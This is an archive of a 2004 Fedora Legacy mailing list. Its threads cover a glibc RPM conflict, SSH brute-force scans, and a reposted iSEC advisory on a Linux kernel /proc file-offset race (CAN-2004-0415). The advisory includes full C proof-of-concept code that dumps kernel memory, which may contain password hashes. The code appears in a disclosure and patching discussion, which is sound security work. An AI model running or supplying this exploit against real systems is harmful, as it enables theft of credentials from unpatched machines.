From mkratz at internode.com.au Tue Aug 3 07:33:16 2004
From: mkratz at internode.com.au (Michael Kratz)
Date: Tue, 03 Aug 2004 17:03:16 +0930
Subject: RPM conflicts between glibc-devel and glibc-kernheaders
Message-ID: <410F3FBC.70009@internode.com.au>
Hi,
I'm trying to upgrade my (now) redhat 7.2 box to redhat 7.3
However one issue I've come across is glibc-devel... when I try to
upgrade glibc-devel I get this issue:
I will install/upgrade these to satisfy the dependencies:
[deps: glibc-devel.i386]
[deps: glibc-kernheaders.i386]
Is this ok [y/N]: y
Getting glibc-devel-2.2.5-44.i386.rpm
Getting glibc-kernheaders-2.4-7.16.i386.rpm
Calculating available disk space - this could take a bit
Errors installing:
('file /usr/include/sys/acct.h conflicts between attempted installs of
glibc-devel-2.2.5-44 and glibc-kernheaders-2.4-7.16', (6,
'/usr/include/sys/acct.h', 0L))
it then lists a whole swag of files...
1. anyone know why is this occuring?
2. can I override it by installing manually and forcing the RPM's? is
this likely to bork anything?
Cheers,
Michael
From juri at koschikode.com Tue Aug 3 11:33:12 2004
From: juri at koschikode.com (Juri Haberland)
Date: Tue, 03 Aug 2004 13:33:12 +0200
Subject: RPM conflicts between glibc-devel and glibc-kernheaders
In-Reply-To: <410F3FBC.70009@internode.com.au>
References: <410F3FBC.70009@internode.com.au>
Message-ID: <410F77F8.30305@koschikode.com>
Michael Kratz schrieb:
> Hi,
>
> I'm trying to upgrade my (now) redhat 7.2 box to redhat 7.3
>
> However one issue I've come across is glibc-devel... when I try to
> upgrade glibc-devel I get this issue:
>
>
> I will install/upgrade these to satisfy the dependencies:
> [deps: glibc-devel.i386]
> [deps: glibc-kernheaders.i386]
> Is this ok [y/N]: y
>
> Getting glibc-devel-2.2.5-44.i386.rpm
> Getting glibc-kernheaders-2.4-7.16.i386.rpm
> Calculating available disk space - this could take a bit
> Errors installing:
> ('file /usr/include/sys/acct.h conflicts between attempted installs of
> glibc-devel-2.2.5-44 and glibc-kernheaders-2.4-7.16', (6,
> '/usr/include/sys/acct.h', 0L))
>
>
> it then lists a whole swag of files...
>
> 1. anyone know why is this occuring?
> 2. can I override it by installing manually and forcing the RPM's? is
> this likely to bork anything?
Hmm, there must be something wrong at your side. I did such an upgrade
myself a couple of days ago and it went smooth without any error.
Also my glibc-kernheaders package does not include any files in
/usr/lib/sys/.
Are you sure that you changed the yum.conf to point at the 7.3 repository?
Are you doing a 'yum update' or a 'yum upgrade'?
Regards,
Juri
From mkratz at internode.com.au Tue Aug 3 12:04:31 2004
From: mkratz at internode.com.au (Michael Kratz)
Date: Tue, 03 Aug 2004 21:34:31 +0930
Subject: RPM conflicts between glibc-devel and glibc-kernheaders
In-Reply-To: <410F77F8.30305@koschikode.com>
References: <410F3FBC.70009@internode.com.au> <410F77F8.30305@koschikode.com>
Message-ID: <410F7F4F.1090006@internode.com.au>
I was doing yum update, with the aim of doing a yum upgrade after
installing a few more packages manually.
To get around it I removed gcc and glibc-devel.
I ended up doing a yum upgrade, and upgraded the whole box to 7.3...
then tried installing them again and it still didn't work.
It doesn't bother me all that much that they aren't installed, just
means that I can't use GCC on that box.
--
Cheers,
Michael
Juri Haberland wrote:
> Michael Kratz schrieb:
>
>>Hi,
>>
>>I'm trying to upgrade my (now) redhat 7.2 box to redhat 7.3
>>
>>However one issue I've come across is glibc-devel... when I try to
>>upgrade glibc-devel I get this issue:
>>
>>
>>I will install/upgrade these to satisfy the dependencies:
>>[deps: glibc-devel.i386]
>>[deps: glibc-kernheaders.i386]
>>Is this ok [y/N]: y
>>
>>Getting glibc-devel-2.2.5-44.i386.rpm
>>Getting glibc-kernheaders-2.4-7.16.i386.rpm
>>Calculating available disk space - this could take a bit
>>Errors installing:
>>('file /usr/include/sys/acct.h conflicts between attempted installs of
>>glibc-devel-2.2.5-44 and glibc-kernheaders-2.4-7.16', (6,
>>'/usr/include/sys/acct.h', 0L))
>>
>>
>>it then lists a whole swag of files...
>>
>>1. anyone know why is this occuring?
>>2. can I override it by installing manually and forcing the RPM's? is
>>this likely to bork anything?
>
>
> Hmm, there must be something wrong at your side. I did such an upgrade
> myself a couple of days ago and it went smooth without any error.
> Also my glibc-kernheaders package does not include any files in
> /usr/lib/sys/.
> Are you sure that you changed the yum.conf to point at the 7.3 repository?
> Are you doing a 'yum update' or a 'yum upgrade'?
>
> Regards,
> Juri
>
>
> --
> fedora-legacy-list mailing list
> fedora-legacy-list at redhat.com
> http://www.redhat.com/mailman/listinfo/fedora-legacy-list
From juri at koschikode.com Tue Aug 3 12:53:22 2004
From: juri at koschikode.com (Juri Haberland)
Date: Tue, 03 Aug 2004 14:53:22 +0200
Subject: RPM conflicts between glibc-devel and glibc-kernheaders
In-Reply-To: <410F7F4F.1090006@internode.com.au>
References: <410F3FBC.70009@internode.com.au> <410F77F8.30305@koschikode.com>
<410F7F4F.1090006@internode.com.au>
Message-ID: <410F8AC2.40308@koschikode.com>
Michael Kratz schrieb:
> I was doing yum update, with the aim of doing a yum upgrade after
> installing a few more packages manually.
>
> To get around it I removed gcc and glibc-devel.
>
> I ended up doing a yum upgrade, and upgraded the whole box to 7.3...
> then tried installing them again and it still didn't work.
>
> It doesn't bother me all that much that they aren't installed, just
> means that I can't use GCC on that box.
You could try to do an 'yum clean all' and then retry it.
Or you try to install glibc-kernheaders first and afterwards
glibc-devel. But they shouldn't conflict as they don't share any files.
Cheers,
Juri
From mkratz at internode.com.au Tue Aug 3 14:32:36 2004
From: mkratz at internode.com.au (Michael Kratz)
Date: Wed, 04 Aug 2004 00:02:36 +0930
Subject: RPM conflicts between glibc-devel and glibc-kernheaders
In-Reply-To: <410F8AC2.40308@koschikode.com>
References: <410F3FBC.70009@internode.com.au>
<410F77F8.30305@koschikode.com> <410F7F4F.1090006@internode.com.au>
<410F8AC2.40308@koschikode.com>
Message-ID: <410FA204.4090802@internode.com.au>
Juri Haberland wrote:
> Or you try to install glibc-kernheaders first and afterwards
> glibc-devel. But they shouldn't conflict as they don't share any files.
That worked... installed glibc-kernheaders first then glibc-devel and it
was happy. Heh!
Thanks a lot for your help :)
--
Regards,
Michael
From carwyn at carwyn.com Tue Aug 3 22:23:43 2004
From: carwyn at carwyn.com (Carwyn Edwards)
Date: Tue, 03 Aug 2004 23:23:43 +0100
Subject: OpenSSH
Message-ID: <4110106F.9060207@carwyn.com>
I've recently found an RH9+Legacy machine with a hung sshd just after a
bunch of rouge login attempts. At first I thought this was CAN-2003-0695
but looking through rpm changlog that's been plugged.
Has anyone else seen any hung sshd processes lately? Any other DDoS
upstream issues that might have been missed? I haven't been able to find
any yet :-(
Carwyn
From mburger at bubbanfriends.org Tue Aug 3 22:31:28 2004
From: mburger at bubbanfriends.org (Mike Burger)
Date: Tue, 3 Aug 2004 17:31:28 -0500 (EST)
Subject: OpenSSH
In-Reply-To: <4110106F.9060207@carwyn.com>
References: <4110106F.9060207@carwyn.com>
Message-ID:
There've been a ton of sshd scans/attempts, all over, lately. There was
some mention of it on one of the other Red Hat lists.
On Tue, 3 Aug 2004, Carwyn Edwards wrote:
>
> I've recently found an RH9+Legacy machine with a hung sshd just after a
> bunch of rouge login attempts. At first I thought this was CAN-2003-0695
> but looking through rpm changlog that's been plugged.
>
> Has anyone else seen any hung sshd processes lately? Any other DDoS
> upstream issues that might have been missed? I haven't been able to find
> any yet :-(
>
> Carwyn
>
>
> --
> fedora-legacy-list mailing list
> fedora-legacy-list at redhat.com
> http://www.redhat.com/mailman/listinfo/fedora-legacy-list
>
--
Mike Burger
http://www.bubbanfriends.org
Visit the Dog Pound II BBS
telnet://dogpound2.citadel.org or http://dogpound2.citadel.org
To be notified of updates to the web site, visit
http://www.bubbanfriends.org/mailman/listinfo/site-update, or send a
message to:
site-update-request at bubbanfriends.org
with a message of:
subscribe
From jay at bizmanualz.com Tue Aug 3 22:42:51 2004
From: jay at bizmanualz.com (Jay Summers)
Date: Tue, 3 Aug 2004 17:42:51 -0500
Subject: OpenSSH
In-Reply-To:
References: <4110106F.9060207@carwyn.com>
Message-ID: <7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com>
On Aug 3, 2004, at 5:31 PM, Mike Burger wrote:
> There've been a ton of sshd scans/attempts, all over, lately. There
> was
> some mention of it on one of the other Red Hat lists.
Ditto there. I just sent a message today to one of my other user-lists
asking about a possible SSH exploit. Is there some kind of new script
kiddie script released recently or some kind of h4x0r contest going on?
I've seen a different scan on all 3 of my boxes at least every other
hour. It probably started occurring more than a week ago. Here's a snip
from my logs.
Aug 3 06:31:41 www sshd[18216]: Illegal user test from 210.114.220.147
Aug 3 06:31:42 www sshd[18216]: Failed password for illegal user test
from 210.114.220.147 port 49847 ssh2
Aug 3 06:31:44 www sshd[18219]: Illegal user guest from 210.114.220.147
Aug 3 06:31:45 www sshd[18219]: Failed password for illegal user guest
from 210.114.220.147 port 49881 ssh2
Aug 3 06:32:12 www sshd[18223]: Illegal user test from 210.114.220.147
Aug 3 06:32:12 www sshd[18223]: Failed password for illegal user test
from 210.114.220.147 port 50171 ssh2
Aug 3 06:32:14 www sshd[18225]: Illegal user guest from 210.114.220.147
Aug 3 06:32:15 www sshd[18225]: Failed password for illegal user guest
from 210.114.220.147 port 50208 ssh2
Regards,
Jay
From barryn at pobox.com Tue Aug 3 23:01:40 2004
From: barryn at pobox.com (Barry K. Nathan)
Date: Tue, 3 Aug 2004 16:01:40 -0700
Subject: OpenSSH
In-Reply-To: <7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com>
References: <4110106F.9060207@carwyn.com>
<7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com>
Message-ID: <20040803230140.GA387@ip68-4-98-123.oc.oc.cox.net>
On Tue, Aug 03, 2004 at 05:42:51PM -0500, Jay Summers wrote:
> Ditto there. I just sent a message today to one of my other user-lists
You mean with sshd hanging, or just all the scans? (I've seen the latter
but not the former.)
It's crackers looking for people who are dumb enough to create an
account named "test" with password "test" (or "guest"/"guest") and leave
it accessible to anyone on the 'Net. Once they get in, they use kernel
exploits to get root (if you have users/admins this dumb, *this* is why you
need to keep the kernel up to date!) and then they install a rootkit...
These people, whoever they are, are succeding in breaking into more
systems than you'd expect... :|
-Barry K. Nathan
From paul at frields.com Wed Aug 4 00:54:28 2004
From: paul at frields.com (Paul W. Frields)
Date: Tue, 03 Aug 2004 20:54:28 -0400
Subject: OpenSSH
In-Reply-To: <20040803230140.GA387@ip68-4-98-123.oc.oc.cox.net>
References: <4110106F.9060207@carwyn.com>
<7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com>
<20040803230140.GA387@ip68-4-98-123.oc.oc.cox.net>
Message-ID: <1091580868.3495.21.camel@bettie.internal.frields.org>
On Tue, 2004-08-03 at 19:01, Barry K. Nathan wrote:
> On Tue, Aug 03, 2004 at 05:42:51PM -0500, Jay Summers wrote:
> > Ditto there. I just sent a message today to one of my other user-lists
>
> You mean with sshd hanging, or just all the scans? (I've seen the latter
> but not the former.)
>
> It's crackers looking for people who are dumb enough to create an
> account named "test" with password "test" (or "guest"/"guest") and leave
> it accessible to anyone on the 'Net. Once they get in, they use kernel
> exploits to get root (if you have users/admins this dumb, *this* is why you
> need to keep the kernel up to date!) and then they install a rootkit...
>
> These people, whoever they are, are succeding in breaking into more
> systems than you'd expect... :|
For more info on SuckIT, the rootkit in question, you can check out some
info at, e.g.:
http://www.incidents.org/diary.php?date=2004-07-23
http://www.phrack.org/show.php?p=58&a=7
http://www.broadbandreports.com/forum/remark,10854834
I've been getting these for some time now, and the admins I've bothered
to contact back have all confirmed they were hacked due to lazy security
protocols. Not a fair sampling technique but interesting nonetheless.
--
Paul W. Frields, RHCE
From michal at harddata.com Wed Aug 4 03:24:36 2004
From: michal at harddata.com (Michal Jaegermann)
Date: Tue, 3 Aug 2004 21:24:36 -0600
Subject: OpenSSH
In-Reply-To: <7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com>;
from jay@bizmanualz.com on Tue, Aug 03, 2004 at 05:42:51PM -0500
References: <4110106F.9060207@carwyn.com>
<7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com>
Message-ID: <20040803212436.C16588@mail.harddata.com>
On Tue, Aug 03, 2004 at 05:42:51PM -0500, Jay Summers wrote:
>
> Here's a snip
> from my logs.
>
> Aug 3 06:31:41 www sshd[18216]: Illegal user test from 210.114.220.147
> Aug 3 06:31:42 www sshd[18216]: Failed password for illegal user test
> from 210.114.220.147 port 49847 ssh2
.....
I recorded a similar pattern from 66.98.186.87 around 18:24 MDT.
Looks like results of some script.
Michal
From jimpop at yahoo.com Wed Aug 4 03:33:38 2004
From: jimpop at yahoo.com (Jim Popovitch)
Date: Tue, 03 Aug 2004 23:33:38 -0400
Subject: OpenSSH
In-Reply-To: <20040803212436.C16588@mail.harddata.com>
References: <4110106F.9060207@carwyn.com>
<7385A56D-E59E-11D8-B0F4-000393AE8562@bizmanualz.com>
<20040803212436.C16588@mail.harddata.com>
Message-ID: <1091590418.6153.5.camel@blue>
All of this reminds me why I run sshd on an unusual port. If I could
run httpd on an alternate port I would. :)
-Jim P.
On Tue, 2004-08-03 at 23:24, Michal Jaegermann wrote:
> On Tue, Aug 03, 2004 at 05:42:51PM -0500, Jay Summers wrote:
> >
> > Here's a snip
> > from my logs.
> >
> > Aug 3 06:31:41 www sshd[18216]: Illegal user test from 210.114.220.147
> > Aug 3 06:31:42 www sshd[18216]: Failed password for illegal user test
> > from 210.114.220.147 port 49847 ssh2
> .....
>
> I recorded a similar pattern from 66.98.186.87 around 18:24 MDT.
> Looks like results of some script.
>
> Michal
>
>
> --
> fedora-legacy-list mailing list
> fedora-legacy-list at redhat.com
> http://www.redhat.com/mailman/listinfo/fedora-legacy-list
From simon at nzservers.com Wed Aug 4 19:38:37 2004
From: simon at nzservers.com (Simon Weller)
Date: Wed, 4 Aug 2004 14:38:37 -0500
Subject: SF post - Linux kernel file offset pointer races
Message-ID: <200408041438.37481.simon@nzservers.com>
Hi all,
Paul Starzetz has just posted to SF with proof of concept for some explotiable
memory reads.
So nice of him to give everyone a little warning prior to releasing a proof of
concept.
He's suggesting that all 2.4 and all 2.6 kernels are vunerable, and just to
make our lives more enjoyable, there are currently no fixes out.
regards,
Simon
--
Simon Weller LPIC-2, BCIP
Systems Engineer
NZServers LTD
http://www.nzservers.com/
U.S. Branch
<-
To mess up a Linux box, you need to work at it; to mess up your Windows box,
you just need to work on it.
- Scott Granneman, Security Focus
->
From simon at nzservers.com Wed Aug 4 19:42:35 2004
From: simon at nzservers.com (Simon Weller)
Date: Wed, 4 Aug 2004 14:42:35 -0500
Subject: copy of SF post on Linux kernel file offset pointer races
Message-ID: <200408041442.35062.simon@nzservers.com>
Synopsis: ?Linux kernel file offset pointer handling
Product: ? Linux kernel
Version: ? 2.4 up to to and including 2.4.26, 2.6 up to to and
? ? ? ? ? ?including 2.6.7
Vendor: ? ?http://www.kernel.org/
URL: ? ? ? http://isec.pl/vulnerabilities/isec-0016-procleaks.txt
CVE: ? ? ? CAN-2004-0415
Author: ? ?Paul Starzetz
Date: ? ? ?Aug 04, 2004
Issue:
======
A ?critical ?security ?vulnerability ?has been found in the Linux kernel
code handling 64bit file offset pointers.
Details:
========
The ?Linux ?kernel ?offers ?a ?file ?handling ?API ? to ? the ? userland
applications. ?Basically ?a ?file ?can ?be identified by a file name and
opened through the open(2) system call which ?in ?turn ?returns ?a ?file
descriptor for the kernel file object.
One ?of ?the ?properties ?of ?the ?file object is something called 'file
offset' (f_pos member variable of the file object), which is advanced if
one ?reads ?or ?writtes ?to the file. It can also by changed through the
lseek(2) system call and identifies the current writing/reading position
inside the file image on the media.
There ?are two different versions of the file handling API inside recent
Linux kernels: the old 32 bit and the new (LFS) ?64 ?bit ?API. ?We ?have
identified ?numerous places, where invalid conversions from 64 bit sized
file offsets to 32 bit ones as well ?as ?insecure ?access ?to ?the ?file
offset member variable take place.
We ?have ?found that most of the /proc entries (like /proc/version) leak
about one page of unitialized kernel memory ?and ?can ?be ?exploited ?to
obtain sensitive data.
We ?have ?found ?dozens ?of places with suspicious or bogus code. One of
them resides in the MTRR handling code for the i386 architecture:
static ssize_t mtrr_read(struct file *file, char *buf, size_t len,
? ? ? ? ? ? ? ? ? ? ? ? ?loff_t *ppos)
{
[1] if (*ppos >= ascii_buf_bytes) return 0;
[2] if (*ppos + len > ascii_buf_bytes) len = ascii_buf_bytes - *ppos;
? ? if ( copy_to_user (buf, ascii_buffer + *ppos, len) ) return -EFAULT;
[3] *ppos += len;
? ? return len;
} ? /* ?End Function mtrr_read ?*/
It is quite easy to see that since copy_to_user can ?sleep, ?the ?second
reference ?to ?*ppos ?may ?use ?another ?value. ?Or in other words, code
operating on the file->f_pos variable through a pointer must ?be ?atomic
in ?respect ?to ?the current thread. We expect even more troubles in the
SMP case though.
Exploitation:
=============
In the following we want to concentrate onto the mttr.c code, however we
think ?that ?also ?other ?f_pos ?handling ?code ?in ?the ?kernel ?may be
exploitable.
The idea is to use the blocking property of copy_to_user to advance ?the
file->f_pos ?file ?offset ?to ?be negative allowing us to bypass the two
checks marked with [1] and [2] in the above code.
There are two situation where copy_to_user() will sleep if there ?is ?no
page ?table entry for the corresponding location in the user buffer used
to receive the data:
- the underlying buffer maps a file which is ?not ?in ?the ?kernel ?page
cache yet. The file content must be read from the disk first
- ?the mmap_sem semaphore of the process's VM is in a closed state, that
is another thread sharing ?the ?same ?VM ?caused ?a ?down_write ?on ?the
semaphore.
We ?use the second method as follows. One of two threads sharing same VM
issues a madvise(2) call on a VMA that maps some, sufficiently big ?file
setting ?the ?madvise ?flag to WILLNEED. This will issue a down_write on
the mmap semaphore and schedule a ?read-ahead ?request ?for ?the ?mmaped
file.
Second thread issues in the mean time a read on the /proc/mtrr file thus
going for sleep until the first thread returns from the ?madvise ?system
call. ?The ?two threads will be woken up in a FIFO manner thus the first
thread will run as first and can advance the file pointer ?of ?the ?proc
file ?to ?the ?maximum ?possible ?value ?of 0x7fffffffffffffff while the
second thread is still waiting in the scheduler queue for CPU ?(itn ?the
non-SMP case).
After ?the ?place ?marked ?with [3] has been executed, the file position
will have a negative value and the checks [1] and [2] can be passed ?for
any ?buffer ?length ?supplied, ?thus ?leaking the kernel memory from the
address of ascii_buffer on to the user space.
We have attached a proof-of-concept exploit code ?to ?read ?portions ?of
kernel ?memory. ?Another ?exploit ?code ?we have at our disposal can use
other /proc entries (like /proc/version) to ?read ?one ?page ?of ?kernel
memory.
Impact:
=======
Since no special privileges are required to open the /proc/mtrr file for
reading any process may exploit the bug to read ?huge ?parts ?of ?kernel
memory.
The ?kernel ?memory ?dump ?may ?include ?very sensitive information like
hashed passwords from /etc/shadow or even the root passwort.
We have found in an experiment that after the root user logged in ?using
ssh ?(in our case it was OpenSSH using PAM), the root passwort was keept
in kernel memory. This is very suprising since sshd will ?quickly ?clean
(overwrite ?with ?zeros) ?the memory portion used to store the password.
But the password may have made its way through various kernel paths like
pipes or sockets.
Tested ?and known to be vulnerable kernel versions are all <= 2.4.26 and
<= 2.6.7. All users are encouraged to patch all ?vulnerable ?systems ?as
soon ?as appropriate vendor patches are released. There is no hotfix for
this vulnerability.
Credits:
========
Paul Starzetz has ?identified ?the ?vulnerability ?and
performed ?further ?research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH ?EXPRESS ?PERMISSION ?OF
ONE OF THE AUTHORS.
Disclaimer:
===========
This ?document and all the information it contains are provided "as is",
for educational purposes only, without warranty ?of ?any ?kind, ?whether
express or implied.
The ?authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of ?the ?information ? provided ?in
this ?document. ?Liability ?claims regarding damage caused by the use of
any information provided, including any kind ?of ?information ?which ?is
incomplete or incorrect, will therefore be rejected.
Appendix:
=========
/*
?*
?* ?/proc ppos kernel memory read (semaphore method)
?*
?* ?gcc -O3 proc_kmem_dump.c -o proc_kmem_dump
?*
?* ?Copyright (c) 2004 ?iSEC Security Research. All Rights Reserved.
?*
?* ?THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
?* ?AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
?* ?WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
?*
?*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
// ?define machine mem size in MB
#define MEMSIZE 64
_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
? ? ? ? ? uint, wh);
void fatal(const char *msg)
{
? ? printf("0);
? ? if(!errno) {
? ? ? ? fprintf(stderr, "FATAL ERROR: %s0, msg);
? ? }
? ? else {
? ? ? ? perror(msg);
? ? }
? ? printf("0);
? ? fflush(stdout);
? ? fflush(stderr);
? ? exit(31337);
}
static int cpid, nc, fd, pfd, r=0, i=0, csize, fsize=1024*1024*MEMSIZE,
? ? ? ? ? ?size=PAGE_SIZE, us;
static volatile int go[2];
static loff_t off;
static char *buf=NULL, *file, child_stack[PAGE_SIZE];
static struct timeval tv1, tv2;
static struct stat st;
// ?child close sempahore & sleep
int start_child(void *arg)
{
// ?unlock parent & close semaphore
? ? go[0]=0;
? ? madvise(file, csize, MADV_DONTNEED);
? ? madvise(file, csize, MADV_SEQUENTIAL);
? ? gettimeofday(&tv1, NULL);
? ? read(pfd, buf, 0);
? ? go[0]=1;
? ? r = madvise(file, csize, MADV_WILLNEED);
? ? if(r)
? ? ? ? fatal("madvise");
// ?parent blocked on mmap_sem? GOOD!
? ? if(go[1] == 1 || _llseek(pfd, 0, 0, &off, SEEK_CUR)<0 ) {
? ? ? ? r = _llseek(pfd, 0x7fffffff, 0xffffffff, &off, SEEK_SET);
? ? ? ? ? ? if( r == -1 )
? ? ? ? ? ? ? ? fatal("lseek");
? ? ? ? printf("0 Race won!"); fflush(stdout);
? ? ? ? go[0]=2;
? ? } else {
? ? ? ? printf("0 Race lost %d, use another file!0, go[1]);
? ? ? ? fflush(stdout);
? ? ? ? kill(getppid(), SIGTERM);
? ? }
? ? _exit(1);
return 0;
}
void usage(char *name)
{
? ? printf("0SAGE: %s ", name);
? ? printf("0);
? ? exit(1);
}
int main(int ac, char **av)
{
? ? if(ac<2)
? ? ? ? usage(av[0]);
// ?mmap big file not in cache
? ? r=stat(av[1], &st);
? ? if(r)
? ? ? ? fatal("stat file");
? ? csize = (st.st_size + (PAGE_SIZE-1)) & ~(PAGE_SIZE-1);
? ? fd=open(av[1], O_RDONLY);
? ? if(fd<0)
? ? ? ? fatal("open file");
? ? file=mmap(NULL, csize, PROT_READ, MAP_SHARED, fd, 0);
? ? if(file==MAP_FAILED)
? ? ? ? fatal("mmap");
? ? close(fd);
? ? printf("0 mmaped uncached file at %p - %p", file, file+csize);
? ? fflush(stdout);
? ? pfd=open("/proc/mtrr", O_RDONLY);
? ? if(pfd<0)
? ? ? ? fatal("open");
? ? fd=open("kmem.dat", O_RDWR|O_CREAT|O_TRUNC, 0644);
? ? if(fd<0)
? ? ? ? fatal("open data");
? ? r=ftruncate(fd, fsize);
? ? if(r<0)
? ? ? ? fatal("ftruncate");
? ? buf=mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
? ? if(buf==MAP_FAILED)
? ? ? ? fatal("mmap");
? ? close(fd);
? ? printf("0 mmaped kernel data file at %p", buf);
? ? fflush(stdout);
// ?clone thread wait for child sleep
? ? nc = nice(0);
? ? cpid=clone(&start_child, child_stack + sizeof(child_stack)-4,
? ? ? ? ? ?CLONE_FILES|CLONE_VM, NULL);
? ? nice(19-nc);
? ? while(go[0]==0) {
? ? ? ? i++;
? ? }
// ?try to read & sleep & move fpos to be negative
? ? gettimeofday(&tv1, NULL);
? ? go[1] = 1;
? ? r = read(pfd, buf, size );
? ? go[1] = 2;
? ? gettimeofday(&tv2, NULL);
? ? if(r<0)
? ? ? ? fatal("read");
? ? while(go[0]!=2) {
? ? ? ? i++;
? ? }
? ? us = tv2.tv_sec - tv1.tv_sec;
? ? us *= 1000000;
? ? us += (tv2.tv_usec - tv1.tv_usec) ;
? ? printf("0 READ %d bytes in %d usec", r, us); fflush(stdout);
? ? r = _llseek(pfd, 0, 0, &off, SEEK_CUR);
? ? if(r < 0 ) {
? ? ? ? printf("0 SUCCESS, lseek fails, reading kernel mem...0);
? ? ? ? fflush(stdout);
? ? ? ? i=0;
? ? ? ? for(;;) {
? ? ? ? ? ? r = read(pfd, buf, PAGE_SIZE );
? ? ? ? ? ? if(r!=PAGE_SIZE)
? ? ? ? ? ? ? ? break;
? ? ? ? ? ? buf += PAGE_SIZE;
? ? ? ? ? ? i++; ? ? ? ?PAGE %6d", i); fflush(stdout);
? ? ? ? ? ? printf("
? ? ? ? }
? ? ? ? printf("0 done, err=%s", strerror(errno) );
? ? ? ? fflush(stdout);
? ? }
? ? close(pfd);
? ? printf("0);
? ? sleep(1);
? ? kill(cpid, 9);
return 0;
}
--
Paul Starzetz
iSEC Security Research
http://isec.pl/
--
Simon Weller LPIC-2, BCIP
Systems Engineer
NZServers LTD
http://www.nzservers.com/
U.S. Branch
<-
To mess up a Linux box, you need to work at it; to mess up your Windows box,
you just need to work on it.
- Scott Granneman, Security Focus
->
From jonny.strom at netikka.fi Wed Aug 4 19:43:56 2004
From: jonny.strom at netikka.fi (Johnny Strom)
Date: Wed, 04 Aug 2004 22:43:56 +0300
Subject: SF post - Linux kernel file offset pointer races
In-Reply-To: <200408041438.37481.simon@nzservers.com>
References: <200408041438.37481.simon@nzservers.com>
Message-ID: <41113C7C.6060006@netikka.fi>
Simon Weller wrote:
> Hi all,
>
> Paul Starzetz has just posted to SF with proof of concept for some explotiable
> memory reads.
>
>
> So nice of him to give everyone a little warning prior to releasing a proof of
> concept.
>
>
> He's suggesting that all 2.4 and all 2.6 kernels are vunerable, and just to
> make our lives more enjoyable, there are currently no fixes out.
>
I think there are fixes out, in here:
http://www.uwsg.iu.edu/hypermail/linux/kernel/0408.0/0654.html
Cheers Johnny
> regards,
>
> Simon
From ebrown at lanl.gov Wed Aug 4 19:44:51 2004
From: ebrown at lanl.gov (Ed Brown)
Date: Wed, 04 Aug 2004 13:44:51 -0600
Subject: SF post - Linux kernel file offset pointer races
In-Reply-To: <200408041438.37481.simon@nzservers.com>
References: <200408041438.37481.simon@nzservers.com>
Message-ID: <1091648691.8867.292.camel@edbrown.lanl.gov>
There are updates out already for RHEL2.1 and 3. Their security
advisory added:
"These packages contain a patch written by Al Viro to correct these
flaws.
Red Hat would like to thank iSEC Security Research for disclosing this
issue and a number of vendor-sec participants for reviewing and working
on the patch to this issue."
-Ed
On Wed, 2004-08-04 at 13:38, Simon Weller wrote:
> Hi all,
>
> Paul Starzetz has just posted to SF with proof of concept for some explotiable
> memory reads.
>
>
> So nice of him to give everyone a little warning prior to releasing a proof of
> concept.
>
>
> He's suggesting that all 2.4 and all 2.6 kernels are vunerable, and just to
> make our lives more enjoyable, there are currently no fixes out.
>
> regards,
>
> Simon
From simon at nzservers.com Wed Aug 4 19:51:57 2004
From: simon at nzservers.com (Simon Weller)
Date: Wed, 4 Aug 2004 14:51:57 -0500
Subject: SF post - Linux kernel file offset pointer races
In-Reply-To: <1091648691.8867.292.camel@edbrown.lanl.gov>
References: <200408041438.37481.simon@nzservers.com>
<1091648691.8867.292.camel@edbrown.lanl.gov>
Message-ID: <200408041451.57582.simon@nzservers.com>
I guess we better bump priority of these then, as they look pretty nasty at
first glance.
- Si
On Wednesday 04 August 2004 02:44 pm, Ed Brown wrote:
> There are updates out already for RHEL2.1 and 3. Their security
> advisory added:
>
> "These packages contain a patch written by Al Viro to correct these
> flaws.
> Red Hat would like to thank iSEC Security Research for disclosing this
> issue and a number of vendor-sec participants for reviewing and working
> on the patch to this issue."
>
> -Ed
>
> On Wed, 2004-08-04 at 13:38, Simon Weller wrote:
> > Hi all,
> >
> > Paul Starzetz has just posted to SF with proof of concept for some
> > explotiable memory reads.
> >
> >
> > So nice of him to give everyone a little warning prior to releasing a
> > proof of concept.
> >
> >
> > He's suggesting that all 2.4 and all 2.6 kernels are vunerable, and just
> > to make our lives more enjoyable, there are currently no fixes out.
> >
> > regards,
> >
> > Simon
>
> --
> fedora-legacy-list mailing list
> fedora-legacy-list at redhat.com
> http://www.redhat.com/mailman/listinfo/fedora-legacy-list
--
Simon Weller LPIC-2, BCIP
Systems Engineer
NZServers LTD
http://www.nzservers.com/
U.S. Branch
<-
To mess up a Linux box, you need to work at it; to mess up your Windows box,
you just need to work on it.
- Scott Granneman, Security Focus
->
From simon at nzservers.com Wed Aug 4 20:02:49 2004
From: simon at nzservers.com (Simon Weller)
Date: Wed, 4 Aug 2004 15:02:49 -0500
Subject: SF post - Linux kernel file offset pointer races
In-Reply-To: <1091648691.8867.292.camel@edbrown.lanl.gov>
References: <200408041438.37481.simon@nzservers.com>
<1091648691.8867.292.camel@edbrown.lanl.gov>
Message-ID: <200408041502.49709.simon@nzservers.com>
I guess I owe Paul Starzetz an apology for slanting his good name :-(
Although it seems unfortunate that very few distributions are on top of this
issue.
regards,
Simon
On Wednesday 04 August 2004 02:44 pm, Ed Brown wrote:
> There are updates out already for RHEL2.1 and 3. Their security
> advisory added:
>
> "These packages contain a patch written by Al Viro to correct these
> flaws.
> Red Hat would like to thank iSEC Security Research for disclosing this
> issue and a number of vendor-sec participants for reviewing and working
> on the patch to this issue."
>
> -Ed
>
> On Wed, 2004-08-04 at 13:38, Simon Weller wrote:
> > Hi all,
> >
> > Paul Starzetz has just posted to SF with proof of concept for some
> > explotiable memory reads.
> >
> >
> > So nice of him to give everyone a little warning prior to releasing a
> > proof of concept.
> >
> >
